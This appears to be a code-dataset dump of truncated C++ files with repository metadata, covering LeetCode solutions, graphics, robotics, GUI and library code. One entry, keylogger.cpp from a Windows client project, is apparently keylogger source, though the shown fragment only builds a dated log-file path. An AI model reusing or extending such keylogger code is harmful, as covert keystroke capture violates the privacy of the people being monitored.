int main()
{
int i,j,n,count=1,m=1,k;
cin>>n;
int a[n];
for (i=0;i<n;i++)
{
cin>>a[i];
}
for (i=0,j=1;i<n&&j<n;i++,j++)
{
if (a[i]<=a[j])
{
count=count+1;
if (count>m)
{
m=count;
}
}
else
{
coun... |
57dceda5b330d8be2d43912eccfd12fde7a142f9 | 7045bb4f95ada6e1669a3cd9520681b7e548c319 | /Meijer/Platform-Core-Patch/Remote Console Manager/src/rap/actions/PushbackImmediateIntervention.cpp | 49e87843eb473c122811b1115e4333958e53d003 | [] | no_license | co185057/MeijerTESTSVN | 0ffe207db43c8e881fdbad66c1c058e25fe451f5 | 3a3df97b2decc1a04e6efe7c8ab74eff5409f39f | refs/heads/master | 2023-05-30T00:19:36.524059 | 2021-06-10T08:41:31 | 2021-06-10T08:41:31 | 375,576,064 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,395 | cpp | PushbackImmediateIntervention.cpp | // $Header: /Integration_Customer/Meijer/CURRENT_DEV/Platform-Core-Patch/remote console manager/src/rap/actions/PushbackImmediateIntervention.cpp 3 10/21/08 4:08p Sm133076 $
/*
* @(#)PushbackImmediateIntervention.cpp $Revision: 3 $ $Date: 10/21/08 4:08p $
*
* Copyright 2004 by NCR Corporation,
*
* All... |
363fa7ab28143b397c30d60ac7eea6c3444c9986 | 11e10b8651815149a97b038537e714ea33dd0fa7 | /Projects/Sandbox/Src/Scenes/TessellationScene.h | 9353ca92d9342894565cbd81f518d1e3ea0c1c7d | [] | no_license | jonathan2222/RenderingSandboxD3D11 | 2f3a737bb3c0e417e6d3d9cb74c17c44b8c83674 | 8c8ed9d465af7073473cedb9d29fd6724516013b | refs/heads/main | 2023-08-22T01:27:16.763543 | 2021-10-05T14:08:14 | 2021-10-05T14:08:14 | 338,813,002 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,384 | h | TessellationScene.h | #pragma once
#include "Core/Scene.h"
#include "Loaders/ModelLoader.h"
#include "Renderer/Pipeline.h"
#include "Renderer/Shader.h"
#include "Scenes/Camera.h"
namespace RS
{
class TessellationScene : public Scene
{
public:
struct CameraData
{
glm::mat4 world = glm::mat4(1.f);
glm::mat4 view = glm::mat4(1... |
286cbc8ad48a066da5480916cf148a72edf286af | 4bcc9806152542ab43fc2cf47c499424f200896c | /tensorflow/core/kernels/data/experimental/lmdb_dataset_op.cc | 80a3582b0a47cff6bb844891fac28ab6914a51fd | [
"Apache-2.0",
"LicenseRef-scancode-generic-cla",
"BSD-2-Clause"
] | permissive | tensorflow/tensorflow | 906276dbafcc70a941026aa5dc50425ef71ee282 | a7f3934a67900720af3d3b15389551483bee50b8 | refs/heads/master | 2023-08-25T04:24:41.611870 | 2023-08-25T04:06:24 | 2023-08-25T04:14:08 | 45,717,250 | 208,740 | 109,943 | Apache-2.0 | 2023-09-14T20:55:50 | 2015-11-07T01:19:20 | C++ | UTF-8 | C++ | false | false | 1,797 | cc | lmdb_dataset_op.cc | /* Copyright 2018 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... |
6dbde6df843387d7e24c735590dc4000047f5f2d | c1de40ab0dac5f7d6c57af64783d38940727aaf5 | /openocl-1.1/libopenocl_ui-1.0/include/openocl/ui/Icon.h | 8331008cd8be10cb28cbf151018ef1ae7e56c94d | [] | no_license | danielbradley/OpenOCL | 28eb4c20600af32c8451a30c264bdc136c9a84ab | 72c476eac140210e38a0db3758b1f7515edd0c73 | refs/heads/master | 2023-08-23T12:40:07.942150 | 2021-10-30T04:16:59 | 2021-10-30T04:16:59 | 422,778,029 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,180 | h | Icon.h | /*
* Copyright (C) 1997-2005 Daniel Robert Bradley. All rights reserved.
*
* This software is redistributable under the terms of the GNU LGPL
* (Lesser General Public License).
*
* I.S.Labs is a registered trademark of Daniel Robert Bradley
*/
#ifndef OPENOCL_UI_ICON_H
#define OPENOCL_UI_ICON_H
#include "o... |
69263be5108b8f0bdaf93b181f9b480424da2b9d | 202b96b76fc7e3270b7a4eec77d6e1fd7d080b12 | /adjunct/quick/application/OpBootManager.cpp | 4ad4ee1d0fb897f096545760a0ff232a5edff3bb | [] | no_license | prestocore/browser | 4a28dc7521137475a1be72a6fbb19bbe15ca9763 | 8c5977d18f4ed8aea10547829127d52bc612a725 | refs/heads/master | 2016-08-09T12:55:21.058966 | 1995-06-22T00:00:00 | 1995-06-22T00:00:00 | 51,481,663 | 98 | 66 | null | null | null | null | UTF-8 | C++ | false | false | 40,392 | cpp | OpBootManager.cpp | /* -*- Mode: c++; tab-width: 4; indent-tabs-mode: t; c-basic-offset: 4 -*-
*
* Copyright (C) 1995-2012 Opera Software AS. All rights reserved.
*
* This file is part of the Opera web browser. It may not be distributed
* under any circumstances.
*
* @author spoon / Patricia Aas (psmaas)
*/
#include "core/pch.h"... |
ffa5c98489d6eaee7492fc423d2efada246743b6 | 830fa54fadf84a020219b40f152ba9fad050da85 | /src/355.design-twitter.cpp | 14749657ae0eb788dba5799ba9dcb9a7eee81da7 | [] | no_license | Jinchenyuan/LeetCode | fbedb88c9ef7654b41da25f2c1d149ecdef6d54e | 6de769c7a3312b20d24efcb64356515f472efd4b | refs/heads/master | 2023-05-04T23:31:33.901465 | 2023-04-22T16:32:54 | 2023-04-22T16:32:54 | 186,218,266 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,988 | cpp | 355.design-twitter.cpp | /*
* @lc app=leetcode id=355 lang=cpp
*
* [355] Design Twitter
*/
#include <iostream>
#include <vector>
#include <algorithm>
#include <map>
using namespace std;
// @lc code=start
class Twitter {
struct msg
{
int msgId;
int token;
msg(int m, int t):msgId(m), token(t){}
};
st... |
365a24a7da3b256f027afed7d688962158b92c9d | fbdff918518337282c863cecb751ac9761e4f3b3 | /src/renderer/drawer/Drawer.h | fe2cbc90fd849a7d5f6a9de06e0468dddf44a8aa | [] | no_license | adharacanis/swfdrawerplus | 510da7976f369c824e99479b3ab30f6563bcb83b | c256148207b139be65b6536929fd83b275a5ae44 | refs/heads/master | 2020-11-25T14:33:59.231157 | 2020-01-12T23:02:04 | 2020-01-12T23:02:04 | 228,718,758 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 232 | h | Drawer.h | #pragma once
#include "IDrawer.h"
#include "display/DisplayObject.h"
class Drawer : public IDrawer
{
public:
Drawer() = default;
void draw(const boost::shared_ptr<DisplayObject>& drawable, DrawingData drawingData) override;
};
|
6350392aa17e07abdaf728aacc6ea7cbb3ba47d8 | ecb905b940a94aac366fbe485fdad5e7e0950c3c | /Image_processing_c++/main_source.cpp | 03580344367f4677cef2b0be8988c71cf8e54f75 | [] | no_license | Praveenk8051/image-processing-scripts | ee2c6d63fcd730bf2d5b16332bbbdf9a82750e0b | a511fd534eafc95b7083e5b7c08e8fa934444a29 | refs/heads/master | 2022-08-23T23:42:48.772510 | 2020-06-01T09:06:53 | 2020-06-01T09:06:53 | 264,140,971 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 292 | cpp | main_source.cpp | #include <algorithm>
#include <processFiles.cpp>
using namespace cv;
int main() {
// Call the image_process function
std::string dropPath;
std::string pickPath;
pickPath = "/test";
dropPath = "/test_";
cout << "Hello World!";
processFiles(pickPath, dropPath);
}
|
6575f5a384a6089d549d73b88692217f23555d06 | a0b42233250e432a1d37ddb5aeee63aa0a0d235b | /IHCP_2D_Continuous_Casting_MAPSO/IHCP_2D_Continuous_Casting_MAPSO/MA_PSO.h | bc748123958a0d0d8538af47b84ff1fb887b490d | [] | no_license | WenYuZhi/InverseHeatConduct2DMAPSO | 7dfbb14517755b290a4a54f026f52f55500a9d30 | 944147d89fbbea6e1056f5b552ad6c6699605dd5 | refs/heads/master | 2022-03-02T14:22:40.598696 | 2019-10-27T11:16:33 | 2019-10-27T11:16:33 | 217,842,167 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,319 | h | MA_PSO.h | #pragma once
#ifndef MA_PSO_H
#define MA_PSO_H
#include <Eigen/Dense>
#include "Temperature.h"
#include <vector>
using namespace Eigen;
class MA_PSO
{
private:
float c1, c2, omga;
float vmax, vmin;
int n_agent, width, width_sl;
public:
bool flag;
float gbest;
float* ... |
813a59af6192aa02f17efbf4ddfd3198aab9df78 | 1b7bc0c8810624c79e1dade01bb63177058f1a28 | /Voltron/Source/UnitTests/Cpp/Utilities/Memory/PointerWrappers_tests.cpp | 24d234428d6e7cfe9c000b43f3f8a1378c3ffe8f | [
"MIT"
] | permissive | ernestyalumni/HrdwCCppCUDA | 61f123359fb585f279a32a19ba64dfdb60a4f66f | ad067fd4e605c230ea87bdc36cc38341e681a1e0 | refs/heads/master | 2023-07-21T06:00:51.881770 | 2023-04-26T13:58:57 | 2023-04-26T13:58:57 | 109,069,731 | 3 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,151 | cpp | PointerWrappers_tests.cpp | //------------------------------------------------------------------------------
/// \file PointerWrappers_tests.cpp
/// \author Ernest Yeung
/// \email ernestyalumni@gmail.com
//------------------------------------------------------------------------------
#include "Cpp/Utilities/Memory/PointerWrappers.h"
#include <... |
dd184eb10d825ccd64fc2a65380fe15eb1b6f06e | 33035c05aad9bca0b0cefd67529bdd70399a9e04 | /src/boost_function_types_parameter_types.hpp | 40745804ff968472e9dfd25ce7167fe36acc6855 | [
"LicenseRef-scancode-unknown-license-reference",
"BSL-1.0"
] | permissive | elvisbugs/BoostForArduino | 7e2427ded5fd030231918524f6a91554085a8e64 | b8c912bf671868e2182aa703ed34076c59acf474 | refs/heads/master | 2023-03-25T13:11:58.527671 | 2021-03-27T02:37:29 | 2021-03-27T02:37:29 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 52 | hpp | boost_function_types_parameter_types.hpp | #include <boost/function_types/parameter_types.hpp>
|
5f82e7fcc2c5319bcdf1f6c5aa54bc61181757c6 | 255ad6034144189e9aaff860f8580386aefa075f | /PRT_/Scene.h | fa73a6363c8e9a253f51ac9bbec9b6b4073a7bc7 | [] | no_license | BigHeadJaeger/PRT_ | 69b022aecf47ef5e1696eb889566d219391b58c6 | d23b3c12043dbe3863297dedfde29e99d81c2a55 | refs/heads/master | 2020-05-03T21:40:00.584433 | 2019-04-01T09:18:35 | 2019-04-01T09:18:35 | null | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 1,678 | h | Scene.h | #pragma once
#include<glm.hpp>
#include<gtc\matrix_transform.hpp>
#include<gtc\type_ptr.hpp>
#include<SOIL.h>
#include"Generate.h"
#include"Program.h"
#include"Camera.h"
#include"DiffuseObject.h"
using namespace glm;
class MyScene
{
private:
//各种场景信息(相机、材质、灯光、各种物体的各种矩阵)
//mesh object
mat4x4 buddhaWorld; //世界矩... |
b3255c3e596299277bfd1d0b2b1f33936d12b5a3 | d15dfc660dc216473df86d421358e5be109d099c | /day9.cpp | a35508efa30934c8c2eccb68f66e1857799e92bf | [] | no_license | supgunjan/July_LeetCoding_Challenge | 03f8de82ee5cec9d6e92a120f9c62c5b9a448650 | 019f3868278e4f3e5eeb2938b332e0ce88fa33af | refs/heads/master | 2022-11-26T14:39:16.398182 | 2020-08-02T05:22:32 | 2020-08-02T05:22:32 | 279,968,725 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,144 | cpp | day9.cpp | /**
* Definition for a binary tree node.
* struct TreeNode {
* int val;
* TreeNode *left;
* TreeNode *right;
* TreeNode() : val(0), left(nullptr), right(nullptr) {}
* TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}
* TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), l... |
3e0bc3162d307c1476b2b1059bb090b95f2bb5ee | febe42791462ef7605ab65a68d39bfc6b385c952 | /Firmware/MenuView.cpp | 0faf25feae5e109366f4633be06d5e788deb4807 | [
"MIT"
] | permissive | appfruits/LittleHelper | ae34fc7bb7b0ad928eed84c7eab91b72ba3f900b | 3d190620973328b8edab6ddd6df0b3e2da348dbb | refs/heads/master | 2021-05-04T10:52:34.726912 | 2017-02-24T14:56:07 | 2017-02-24T14:56:07 | 47,962,267 | 29 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 5,685 | cpp | MenuView.cpp | /*
* Little Helper -- your best friend in your lab
* http://www.appfruits.com/littlehelper
*
* This software is part of the firmware running Little Helper. You may use, copy,
* modify, merge, publish, distribute, sublicense, and/or sell copies of the Software
* but you must include this copyright notice and thi... |
ab3f69fd67c35602bee4f5c980bb8f741e3d64bc | 0c7e3f38b7b3205a5654296c46fe03b0156ad000 | /build-SistemaFerreteria2020-Desktop_Qt_5_13_2_MinGW_64_bit-Profile/ui_login.h | 8a4a24674aea0a14d73491d2a2f954ca02bd39c5 | [] | no_license | FrapoDeveloper/SistemaFerreteria | fb55001523e68ce6ece080720e5cf9d63dce1cc8 | 5f1bf99cced03d083c0c8df774d6b43e667a5eb5 | refs/heads/master | 2022-11-15T20:52:18.329555 | 2020-07-08T17:31:20 | 2020-07-08T17:31:20 | 277,004,018 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,116 | h | ui_login.h | /********************************************************************************
** Form generated from reading UI file 'login.ui'
**
** Created by: Qt User Interface Compiler version 5.13.2
**
** WARNING! All changes made in this file will be lost when recompiling UI file!
********************************************... |
493033a33c3b22905196b67065e0dfc01030eef8 | dd7eaac25a99f76c3ba2004e339840c08aa304a2 | /gui/core_output_widget.h | cf8d74af136ec213fd1449512de94cd8372e2a49 | [] | no_license | Sangwon91/IASTpp | 7fbd4c40e4486f59d63aa37fd6dfd43091dc4c4b | 250bd28c6f3abf11cb93de566710b0e7cf95bdc1 | refs/heads/master | 2023-05-10T16:46:13.764801 | 2023-04-28T23:56:19 | 2023-04-28T23:56:19 | 87,755,873 | 6 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 921 | h | core_output_widget.h | #ifndef COREOUTPUTWIDGET_H
#define COREOUTPUTWIDGET_H
#include <QWidget>
#include <QPushButton>
#include <QTableWidget>
#include "iast_plotter/iast_plotter_widget.h"
class CoreOutputWidget : public QWidget
{
Q_OBJECT
public:
explicit CoreOutputWidget(QWidget *parent = 0);
QTableWidget* table();
void... |
8384e471c4aa83749823968eac8593ce8da09494 | ad67c89e1de7818641a52788ef04ce7865039b07 | /gamgee/base_quals.cpp | 00786096ebd593688321b34b38edf86a5689d884 | [
"MIT"
] | permissive | droazen/gamgee | 2ad1b40094ac6fa873117ad9a0406396f234f90d | d7078cd2ac047e133521cb07be3d7621baf96062 | refs/heads/master | 2021-01-15T12:59:07.996715 | 2014-05-22T17:48:46 | 2014-05-22T17:48:46 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,610 | cpp | base_quals.cpp | #include "base_quals.h"
#include "utils/hts_memory.h"
#include <string>
#include <stdexcept>
using namespace std;
namespace gamgee {
/**
* @brief creates a BaseQuals object that points to htslib memory already allocated
*
* @note the resulting BaseQuals object shares ownership of the pre-allocated memory via
... |
8f910aa390c41dcfba23b1b09285a465e2579023 | ec5508b479a14b239fcc466cc880637188a1b70f | /chapter4/seg_cluster.cpp | 64657ebf32bb39875de8a606572f266f27620d2a | [] | no_license | zhenyu/aiimooc | abb50749d467277e8af3dda999b9677a53e719e8 | 23ce0bfbc2d7a86162b05ee8c1073d33ee23102e | refs/heads/main | 2023-04-06T03:29:40.321078 | 2021-03-16T05:20:11 | 2021-03-16T05:20:11 | 324,608,910 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,091 | cpp | seg_cluster.cpp | /*
PCL中实现欧式聚类提取。
对三维点云组成的场景进行分割
桌子平面上 的点云团 使用 欧式聚类的算法 kd树搜索 对点云聚类分割
1. 半径滤波(统计学滤波)删除离群点 体素格下采样等
2. 采样一致找到桌面(平面)或者除去滤波
3. 提取除去平面内点的 外点 (桌上的物体就自然成了一个个的浮空点云团)
4. 欧式聚类 提取出我们想要识别的东西
*/
#include <thread>
#include <pcl/ModelCoefficients.h> //模型系数
#include <pcl/point_types.h> //点云基本... |
12efd78bf40064d70b19827c7921ea9ed9084c87 | de4a42eba918bf1186c198163fb525aa899776d6 | /09_DecimaltoOctal.cc | 2fb99c1f246cf83e8073ed9b5b580f4d54f3dabd | [] | no_license | KaushikJais/Cplusplus | 9a1f553a573e495d8e200ad32bf24d7ef305f4eb | 8e7300c7846a1c29630a54d0556d134d2012f735 | refs/heads/master | 2020-04-01T08:58:03.042419 | 2018-10-15T04:51:07 | 2018-10-15T04:51:07 | 153,054,166 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 248 | cc | 09_DecimaltoOctal.cc | #include <iostream>
#include <cmath>
using namespace std;
int main(){
int dec;
cin>>dec;
int rem=0;
int base=10;
int i=0;
int oct=0;
while(dec!=0){
rem=dec%8;
dec = dec/8;
oct = rem*pow(10,i)+oct;
++i;
}
cout<<oct;
return 0;
} |
18267b2057f36f3c2583b0d124d5bffa1efd6006 | 3cf4968c9d388fe2a30d5772c5065afe8dede302 | /libs/sopas/include/ColaBProtocol.h | 2aec518ce82a50467c58e107c68e2e5f879bc9a7 | [] | no_license | tobiasebsen/ofxSick | 19242e558b129411f4d0737abbf8d7d0f0400ef3 | e9ce840bf9df2f0ca2968b92ef94bf94aee0ee6c | refs/heads/master | 2021-01-10T02:43:07.309382 | 2015-09-25T13:20:21 | 2015-09-25T13:20:21 | 39,657,659 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 2,612 | h | ColaBProtocol.h | #ifndef __COLA_B_PROTOCOL_H__
#define __COLA_B_PROTOCOL_H__
/*
==========================================================================================
Copyright (c) SICK AG - Division Auto Ident, 2008
==========================================================================================
*/
#include ... |
e0d0219a981bfedbf6185d091aef1b8355733afb | d313a67d684103b0ee7058c63a304c1b975abc0f | /open64/osprey1.0/common/com/config.cxx | be3723a9c52427f6c8d491a3c5c8bbfbb826ae6f | [
"BSD-2-Clause"
] | permissive | xusx595/upc | 0bbef930d0f76926f049a034ba8d8e851559d0d1 | e17f40219d8594ab6bd281b2ff36d542798deac5 | refs/heads/master | 2021-01-17T05:28:28.941066 | 2015-03-22T21:39:40 | 2015-03-22T21:39:40 | 32,696,839 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 64,578 | cxx | config.cxx |
/*
Copyright (C) 2000, 2001 Silicon Graphics, Inc. All Rights Reserved.
This program is free software; you can redistribute it and/or modify it
under the terms of version 2 of the GNU General Public License as
published by the Free Software Foundation.
This program is distributed in the hope that it woul... |
f59421bdf0aec176b11c8f71e1314e0ad370b80a | 6486e74a34ef45761eae637e7ea0701aa40244b3 | /Parking/components/common/vehicle_param_handle/vehicle_param_handle.h | 0e20e4b3a9234eb51859f5c3691fcc6bc83dfcb8 | [] | no_license | mr-d-self-driving/WorkCode | 2d3f85394c704bea33c58704ea64936857bb771e | 13e028a217f6f9186b1eda04992cb6c00f941d3d | refs/heads/master | 2022-12-13T19:17:58.641963 | 2020-09-17T12:13:22 | 2020-09-17T12:13:22 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,774 | h | vehicle_param_handle.h | #ifndef COMMON_VEHICLE_PARAM_HANDLE_VEHICLE_PARAM_HANDLE_H_
#define COMMON_VEHICLE_PARAM_HANDLE_VEHICLE_PARAM_HANDLE_H_
#include <string>
#include "common/macro.h"
#include "common/proto/vehicle_param.pb.h"
namespace common {
class VehicleParamHandle
{
public:
static void Init();
static void Init(const Ve... |
f68978e94f9144d29e89e0cd59a1536b7bd32007 | fa55d8ed32564195f2687d1e18b99f80c5683073 | /spw/166/fraction_to_recurring_decimal.cc | 15c4442d177cc4a04a59ffedbe16cca428dc36ab | [] | no_license | TenFifteen/SummerCamp | 1841bf1bd212938cee818540658185cd3e429f0c | 383b9321eee9e0721772f93a897c890f737f2eff | refs/heads/master | 2020-04-05T23:48:01.393256 | 2018-03-11T12:37:38 | 2018-03-11T12:37:38 | 38,595,086 | 9 | 4 | null | 2016-07-18T14:21:15 | 2015-07-06T03:15:55 | C++ | UTF-8 | C++ | false | false | 2,504 | cc | fraction_to_recurring_decimal.cc | #include <cstdio>
#include <string>
#include <vector>
#include <map>
#include <utility>
using namespace std;
/**
* Problem: Given two integers representing the numerator and denominator of a fraction, return the fraction in string format.
* Solve: use a map to keep in mind where the loop begins.
* Tips: 1. use lo... |
5f5de5b9bf5a16c80fa567f452ba979c3b587617 | 5d58277163dafd8a0d151bcd0fd091ecc6074fd2 | /leetcode_335_self-crossing.cpp | 73dc0de2e089f3e398cb711a2baa1307ca00a8a5 | [] | no_license | lwl0810/leetcode | 2278e20ae9ce44869ba72b521247aef466608a32 | 76a5698fdf086f1d68f86a064f84a6fa54de844f | refs/heads/master | 2020-02-26T15:20:52.478104 | 2016-08-09T07:28:38 | 2016-08-09T07:28:38 | 60,558,781 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 752 | cpp | leetcode_335_self-crossing.cpp | //https://leetcode.com/problems/self-crossing/
class Solution {
public:
//time O(n), space O(1)
bool isSelfCrossing(vector<int>& x) {
int n = x.size();
if(n <= 3) return false;
for(int i = 3; i < n; ++i){
//Fourth line crosses first line and onward(内交)
if(x[i] >= x[i-2] && x[i-1] <= x[i-3])... |
3082df8d2c72a8b01c72ae37fb6108a7d80f37c4 | 582cd551e1466a6a49e68c65bb810fdcd34e32c0 | /team28-db/Table.h | 100de741ee14f0a9d6027deecab5f7fb1d6d519f | [] | no_license | mgyarmathy/team28-db | 43c113402a5792cd3ad240f101daf12ee96ffa34 | d12274a46306bd02ea9ef97eb6763d27570de2ab | refs/heads/master | 2016-09-03T07:38:23.900230 | 2013-02-22T05:44:37 | 2013-02-22T05:47:13 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,610 | h | Table.h | /*
* Name : Table.h
* Author : Team 28
* Description : - header file for Table class
*/
#ifndef TABLE_H_
#define TABLE_H_
#include <vector>
#include <iostream>
#include "Attribute.h"
#include "Record.h"
using namespace std;
class __declspec(dllexport) Table {
friend class Database;
public:
//constru... |
ce6a920c5765f66b1945a1d54f871c6370d0ea76 | cffc460605febc80e8bb7c417266bde1bd1988eb | /before2020/ZeroJudge/ZJ b030.cpp | bc750f40cdb344af7141785f800ca31504bfaa48 | [] | no_license | m80126colin/Judge | f79b2077f2bf67a3b176d073fcdf68a8583d5a2c | 56258ea977733e992b11f9e0cb74d630799ba274 | refs/heads/master | 2021-06-11T04:25:27.786735 | 2020-05-21T08:55:03 | 2020-05-21T08:55:03 | 19,424,030 | 7 | 4 | null | null | null | null | UTF-8 | C++ | false | false | 549 | cpp | ZJ b030.cpp | #include <iostream>
#include <string>
using namespace std;
int main() {
bool ox_1,ox_2;
int a[128],b[128],i;
string n;
while (getline(cin,n)) {
ox_1=ox_2=1;
for (i=127;i;i--) a[i]=b[i]=0;
for (i=0;i<n.size();i++) a[n[i]]++;
getline(cin,n);
for (i=0;i<n.size();i++) b[n[i]]++;
for (i=65;i<=... |
9656453949c6bf05377d41437a554168c69923b9 | 1f4ab39e79ae39a371f8d9c36f72e8a60804128a | /stepper_motor_controller/Arduino/stepper_motor_controller/Node.cpp | ebe2ddd0352302ec53bcd5101d900eebcd44229c | [
"MIT"
] | permissive | sci-bots/stepper-motor-controller | fc35df7f4d905cfb1d8a45557942316f0a86553e | dda185cb63ee929bba1c755d21c90311b1b12d66 | refs/heads/master | 2020-07-15T09:33:22.622704 | 2016-11-17T18:57:04 | 2016-11-17T18:57:04 | 73,965,101 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,421 | cpp | Node.cpp | #include "Node.h"
namespace stepper_motor_controller {
uint16_t Node::steps_;
bool Node::is_running_ = false;
void Node::begin() {
config_.set_buffer(get_buffer());
config_.validator_.set_node(*this);
config_.reset();
config_.load();
state_.set_buffer(get_buffer());
state_.validator_.set_node(*this);
/... |
065cfe612ba23d39de579b8c09e8807968f4476e | cc7eaa8b35c244c4f44837433313828eb1aaf115 | /Swapping/Swapping/EntryPoint.cpp | a57b8d9b45e3b8c97706f8b33eeaa1289e50445d | [] | no_license | padoleshital/Procedure-Oriented-programming | 95799c2c876461c738a272449cadbe64f01cf5b8 | 56e5a068fc5f76f99fc5ca4966a0f10a00384dbc | refs/heads/master | 2020-05-24T04:20:03.554083 | 2019-12-30T13:30:41 | 2019-12-30T13:30:41 | 187,090,339 | 1 | 0 | null | 2019-12-30T13:30:43 | 2019-05-16T19:36:50 | C | UTF-8 | C++ | false | false | 416 | cpp | EntryPoint.cpp | #include<stdio.h>
//Write a program which accept two number from user swapping of that number without using third variable(temp)
int main()
{
int x=0,y=0;
printf("Enter value of x:");
scanf("%d",&x);
printf("Enter value of y:");
scanf("%d",&y);
if(x>=0 && y>=0)
{
x = x + y;
y = x - y;
x ... |
a5c34a012c93125b6e0b299268cf2c3407d9c0dd | a434cac6cc0e6b79b7b982bafe6848b8c4436525 | /MDK/keylogger.cpp | cf0e441afe727a7a12affdd62c7093edd97f3c70 | [
"Apache-2.0"
] | permissive | waelbentaleb/mdk-windows-client | e9bfef0ab84c70cf9e75affa620198ce50252811 | 63172386b3e8f6653b9de5382767cf70a073bd56 | refs/heads/master | 2021-09-26T22:33:21.913907 | 2018-11-03T22:56:25 | 2018-11-03T22:56:25 | 156,027,989 | 2 | 0 | null | null | null | null | WINDOWS-1252 | C++ | false | false | 5,623 | cpp | keylogger.cpp | #include "stdafx.h"
#include "keylogger.h"
using namespace std;
Keylogger::Keylogger()
{
}
Keylogger::~Keylogger()
{
}
string Keylogger::getPath() {
SYSTEMTIME st;
GetSystemTime(&st);
char tt[100];
sprintf_s(tt, "%.4d-%.2d-%.2d", st.wYear, st.wMonth, st.wDay);
string path;
char pa[260];
GetEnvironmentVari... |
53434ba3d6f7e754f3c26fd2fb35e4d8eb385769 | 185b7537e2b1f6bca6783c176a3546b73bccf180 | /1.0/Matrix.cpp | f1c7d64871064017b80a441c3def1f2ccd2bd654 | [] | no_license | simoncai519/Makowitz-Portfolio-Optimization | 72b96031c6c9655240dd1cb048739ddc9a73cf79 | 1e419de2ba86d17c09fafae4305ed738ace21d52 | refs/heads/master | 2022-10-20T07:06:53.500210 | 2020-06-08T14:39:07 | 2020-06-08T14:39:07 | 270,701,491 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,564 | cpp | Matrix.cpp | #include "Matrix.h"
#include <cmath>
Vector operator*(const Matrix& C,const Vector& V)
{
int d = C.size();
int f = V.size();
Vector W(d);
for (int j=0; j<d; j++)
{
W[j]=0.0;
for (int l=0; l<f; l++) W[j]=W[j]+C[j][l]*V[l];
}
return W;
}
Vector operator*(const Vector& V, const Matrix& C... |
04f5fcc55d777b900665e5414d6bdffcadbaab66 | 21b237d21900049538179bf2bdc8a72e3541ab21 | /Recursion/SumOfDigits.cpp | efd9992b523a0b3d105ce3f6debe69059767bcd8 | [
"MIT"
] | permissive | SagarMedtiya/DSA-in-c-plus-plus | ed7d84ba6b4f534e5f0831288a08f80366b40782 | eae528d97bdbbb2d3e5ecd3e91be346503d0c8af | refs/heads/main | 2023-06-27T01:27:48.377725 | 2021-07-29T18:48:16 | 2021-07-29T18:48:16 | 382,650,712 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 187 | cpp | SumOfDigits.cpp | #include<bits/stdc++.h>
using namespace std;
int sum(int n, int k=0){
if(n==0){
return k;
}
return (sum(n/10,k+(n%10)));
}
int main(){
int n;
cin>>n;
cout<<sum(n);
return 0;
}
|
0e274df6b00855a8cbd166f9ceb456496ad3e819 | f1299d270308de0942aa5c888b4a167937ca82f9 | /graph/dijkastra.cpp | 6482edffdb927318f6a019a230a1064c68a2837b | [] | no_license | marait123/cses-problemset | 37374580beefcc2435862a445f0660914fbc761c | d950bcb05fbf422cfffd747d1b98b7ca15af49c4 | refs/heads/main | 2023-06-21T03:36:30.928407 | 2021-07-22T19:06:13 | 2021-07-22T19:06:13 | 344,192,548 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,174 | cpp | dijkastra.cpp | #include <iostream>
#include <vector>
#include <algorithm>
#include <string.h>
#include <math.h>
#include <queue>
#include <map>
using namespace std;
#define MAX_N 100000
#define LL long long
#define OO INT32_MAX
void dikastra(vector<vector<pair<int, int>>> &adj, vector<int> &parents)
{
vector<int> distances(adj.s... |
cf41fffb76d5d3e2f415807f35392777e8b69dee | dc1e7eacf8f901f7a7de5876c725bba4ef16593c | /LAB_1_Prototype.cpp | 4e318aa6f5a1217cbf5be635ee658d9a5871ef3d | [] | no_license | Black4White/Lab_1_TMPS | 00583facf86662dc350e9cff53f3bd5a956d7dd1 | ab30fc24e7c8604108533be9ac4ac4017117b310 | refs/heads/master | 2022-06-22T21:31:54.848874 | 2020-05-09T16:38:05 | 2020-05-09T16:38:05 | 262,595,972 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,332 | cpp | LAB_1_Prototype.cpp | #include <iostream>
#include <string>
using namespace std;
/* Prototype base class. */
class Aircraft //Prototype
{
protected:
string value;
public:
virtual Aircraft* clone() = 0;
string getValue()
{
return value;
}
};
class ConcreteAircraft : public Aircraft //ConcretePrototype
{... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.